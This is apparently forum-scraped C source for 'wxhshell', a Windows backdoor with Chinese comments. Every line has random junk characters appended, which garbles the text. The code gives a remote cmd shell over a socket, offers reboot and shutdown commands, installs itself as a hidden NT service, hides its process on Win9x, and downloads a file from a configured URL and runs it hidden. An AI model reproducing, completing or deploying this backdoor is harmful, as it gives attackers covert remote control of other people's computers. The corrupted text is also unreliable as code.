    switch(cmd[0]) { !lKDNQ8>["  
  qv`:o `  
  // 帮助 &{8[I3#@  
  case '?': { ^y~oXS(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I]B9+Z?xo  
    break; _k5$.f:Yj<  
  } iig&O(,  
  // 安装 dB Hki*.u  
  case 'i': { mo]>Um'F  
    if(Install()) bBQHxH}vi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9lX[rBZ  
    else  LNvkC4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R(2MI}T  
    break; T{ lm z<g  
    } ^.M_1$-  
  // 卸载 w_YY~Af  
  case 'r': { nZ`=Up p)  
    if(Uninstall()) z.W1Za  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7KtgR=-Lb  
    else 4-\4G"4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /sVmQqVY  
    break; K,*IfHi6[  
    } k,y#|bf,Y  
  // 显示 wxhshell 所在路径 ">s0B5F7  
  case 'p': { kEg~yN  
    char svExeFile[MAX_PATH]; :0Fwaw9PH"  
    strcpy(svExeFile,"\n\r"); lb]k"L%KU7  
      strcat(svExeFile,ExeFile); Lya?b  
        send(wsh,svExeFile,strlen(svExeFile),0); Kt_HJ!  
    break; [ <Q{  
    } V.[b${  
  // 重启 |h:3BV_  
  case 'b': { R xWD>:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bL5dCQxty  
    if(Boot(REBOOT)) S1!_ IK$m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %;`3I$  
    else { dTVM !=  
    closesocket(wsh); jw]IpGTt  
    ExitThread(0); ,=P0rbtK  
    } Q?%v b  
    break; RHq r-%  
    } s3M#ua#mX  
  // 关机 @T-}\AU  
  case 'd': { _"'-f l98*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H/ub=,Ej*  
    if(Boot(SHUTDOWN)) (7v`5|'0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T f^O(  
    else { 16I(S  
    closesocket(wsh); B^1Io9  
    ExitThread(0); GF Rd:e  
    } _j<,qi  
    break; ,qlFk|A|  
    } tWdP5vfp  
  // 获取shell EtB56FU\  
  case 's': { fVBRP[,   
    CmdShell(wsh); I3?:KVa  
    closesocket(wsh); l1RFn,Tzr  
    ExitThread(0); OZh+x`' #  
    break; ,@2d4eg 4  
  } Vs[!WJ 7  
  // 退出 POQ1K O  
  case 'x': { JDC,]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5TdI  
    CloseIt(wsh); W&^2Fb  
    break; F^');8~L  
    } @yjui  
  // 离开 ;Y16I#?;Kh  
  case 'q': { II_MY#0X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Ia)^  
    closesocket(wsh); *$>$O%   
    WSACleanup(); k?=V?JWY  
    exit(1); Iyvl6  
    break; SHPZXJ{  
        } \'N|1!EO|t  
  } ]9pcDZB  
  } k4nA+k<WI`  
#kGxX@0  
  // 提示信息 8%9OB5?F6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |zL.PS  
} Xq%!(YD|  
  } KBGJB`D*  
~ .Eln+N  
  return; |m7`:~ow  
} :hxZ2O?5_  
,K[B/tD{j  
// shell模块句柄 }~5xlg$B<<  
int CmdShell(SOCKET sock) K#{E87G(  
{ %x7l`.) N  
STARTUPINFO si; 8JAT2a61ur  
ZeroMemory(&si,sizeof(si)); Yui:=GgUrr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _'oy C(:}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yc5n   
PROCESS_INFORMATION ProcessInfo; -.WVuc`  
char cmdline[]="cmd"; 7f td2lv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X]*W +  
  return 0; B[MZ Pv)  
} Bj7\{x,?  
>heih%Ar0J  
// 自身启动模式 z*>CP  
int StartFromService(void) JGD{cr[S  
{ !ZV#~t:)  
typedef struct O"9f^y*  
{ HI eMV,.QN  
  DWORD ExitStatus; }Mo9r4}  
  DWORD PebBaseAddress; %jM|*^\%  
  DWORD AffinityMask; c#;LH5KI  
  DWORD BasePriority; "Hjw  
  ULONG UniqueProcessId; cw<DM%p  
  ULONG InheritedFromUniqueProcessId; 3B "rI  
}   PROCESS_BASIC_INFORMATION; Q<``}:y|>  
fhn0^Qc"+  
PROCNTQSIP NtQueryInformationProcess; "WYcw\@U  
5tl}rmI`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fk(0q/b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z_l3=7R  
E(U}$Zey  
  HANDLE             hProcess; ddHIP`wb  
  PROCESS_BASIC_INFORMATION pbi; z?"5= "D  
JT^E `<nn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c)E[K-u  
  if(NULL == hInst ) return 0; I}v'n{5(  
j)IK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n7q-)Dv_U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?3z+|;t6C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IL:"]`f*  
A1ebXXD )  
  if (!NtQueryInformationProcess) return 0; \a]\j Zb  
D+o.9I/{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '\*Rw]bR|  
  if(!hProcess) return 0; r rwsj`  
TcfBfscU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v,i:vT\~  
kdYl>M  
  CloseHandle(hProcess); HIa$0g0J  
Em"X5>;4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '/ &"  
if(hProcess==NULL) return 0; 47K5[R  
4l`gAE$  
HMODULE hMod; \]ODpi 2  
char procName[255]; #!D5DK@+  
unsigned long cbNeeded; wD,F=O  
WNYLQ=;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }C&c=3V  
(kuZS4Af  
  CloseHandle(hProcess); My`%gP~%g  
P/PS(`  
if(strstr(procName,"services")) return 1; // 以服务启动 ^&rb I,D  
z:G9Uu3H(  
  return 0; // 注册表启动 0\~Zg  
} -5ec8m8  
Y) t}%62  
// 主模块 .CpF0  
int StartWxhshell(LPSTR lpCmdLine) YYvs~?bAy  
{ 6Rf5  
  SOCKET wsl; oV!9B-<  
BOOL val=TRUE; ^c7L!F  
  int port=0; ]Ojt3) fB  
  struct sockaddr_in door; sk3 ;;<H  
0?h .X= G  
  if(wscfg.ws_autoins) Install(); J;kbY9e  
jw[`_  
port=atoi(lpCmdLine); 7=AKQ7BB>b  
vZDQ@\HrC  
if(port<=0) port=wscfg.ws_port; ,`7GI*Vq  
5UM[Iz  
  WSADATA data; 5,((JxX$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H= y-Y_R  
68!fcK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vxt^rBA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,RHHNTB("  
  door.sin_family = AF_INET; -oo=IUk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o_N02l4J)  
  door.sin_port = htons(port); Ji[w; [qL  
O9yQ9sl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *Sf^()5C,  
closesocket(wsl); V V4_  
return 1; >lW*%{|b$^  
} C/Z"W@7#;  
TatyD**(  
  if(listen(wsl,2) == INVALID_SOCKET) { }00e@a  
closesocket(wsl); -&A[{m<,>  
return 1; G9[-|[j^N  
} Jr9}'l8  
  Wxhshell(wsl); .0|J+D  
  WSACleanup(); yW&i Uh=0  
!jW32$YTR  
return 0; .2P?1HpK  
6J*`<k/ S  
} Y"jDZG?  
'x0t, ;g  
// 以NT服务方式启动 !!86Sv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I{PN6bn{>  
{ W<L6,  
DWORD   status = 0; ckk[n  
  DWORD   specificError = 0xfffffff; 7GUJ&U) J  
?:nZv< x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !T~d5^l!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Nw2 bn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $OD5t5eTsM  
  serviceStatus.dwWin32ExitCode     = 0; ezvaAhd{  
  serviceStatus.dwServiceSpecificExitCode = 0; |Q;o538  
  serviceStatus.dwCheckPoint       = 0; z>:7}=H0  
  serviceStatus.dwWaitHint       = 0; <X |h *  
t_rDXhM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]`XuE-Uh  
  if (hServiceStatusHandle==0) return; 4Dia#1$:J  
}BrE|'.j'  
status = GetLastError(); ,')bO*N g  
  if (status!=NO_ERROR) -!cAr <  
{ b9N4Gr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #0D.37R+k  
    serviceStatus.dwCheckPoint       = 0; |7$h@KF=S  
    serviceStatus.dwWaitHint       = 0; TH!8G,(w  
    serviceStatus.dwWin32ExitCode     = status; pQY>  
    serviceStatus.dwServiceSpecificExitCode = specificError; SA1/U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G~L?q~b  
    return; `RcNqPY#S  
  } sriz b  
JY+[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DV\ei")  
  serviceStatus.dwCheckPoint       = 0; }j1Zk4}[x  
  serviceStatus.dwWaitHint       = 0; h12wk2@P/]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U08?*{  
} vWH>k+9&X  
~a%hRJg  
// 处理NT服务事件,比如:启动、停止 RKkI/Z0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NR&9:?  
{ `W n5 .V  
switch(fdwControl) BfT,  
{ 8 8$ Y-g5*  
case SERVICE_CONTROL_STOP: d 6EY'*0  
  serviceStatus.dwWin32ExitCode = 0; Dj+Osh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &>l8SlC?  
  serviceStatus.dwCheckPoint   = 0; Wt fOE@h  
  serviceStatus.dwWaitHint     = 0; jPNfLwVkl:  
  { N08n/u&cr,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P{!:pxu[  
  } fNPj8\#V,  
  return; EiN)TB^]  
case SERVICE_CONTROL_PAUSE: F^z8+W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; znO00qX  
  break; dt+  4$  
case SERVICE_CONTROL_CONTINUE: &R*5;/ !  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S "Pj 1  
  break; wPJRp]FA  
case SERVICE_CONTROL_INTERROGATE: #cG479X"  
  break; ~+egu89'TU  
}; jYX9; C;J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tC:,!4 P$  
} 5I1J)K;  
\{zAX~k6  
// 标准应用程序主函数 bV*zMoD#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bq]O &>\hX  
{ ('q vYQ  
}~r6>7I  
// 获取操作系统版本 X,+}syK  
OsIsNt=GetOsVer(); 6QXQ<ah"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6.s?  
!muYn-4M  
  // 从命令行安装 >Ryss@o  
  if(strpbrk(lpCmdLine,"iI")) Install(); v-fi9$#^  
B"9hQb  
  // 下载执行文件 iv+jv2ZF%  
if(wscfg.ws_downexe) { d5"EvT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8]":[s6x  
  WinExec(wscfg.ws_filenam,SW_HIDE); P`dHR;Y0  
} @) ZO$h  
RIEv*2_O  
if(!OsIsNt) { 1bZiPG{  
// 如果时win9x,隐藏进程并且设置为注册表启动 pptM &Y  
HideProc(); MlK`sH6  
StartWxhshell(lpCmdLine); zWs*kTtA  
} qf`xH"$  
else `u\z!x'  
  if(StartFromService()) 9m !!b{  
  // 以服务方式启动 DsJn#>?Kh  
  StartServiceCtrlDispatcher(DispatchTable); zk'K.! `^  
else TUUE(sLA  
  // 普通方式启动 .q`H`(QM  
  StartWxhshell(lpCmdLine); S?7V "LF  
2HGD{;6>v{  
return 0; p;=kH{uu  
}
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只看该作者 1 发表于: 2006-10-10
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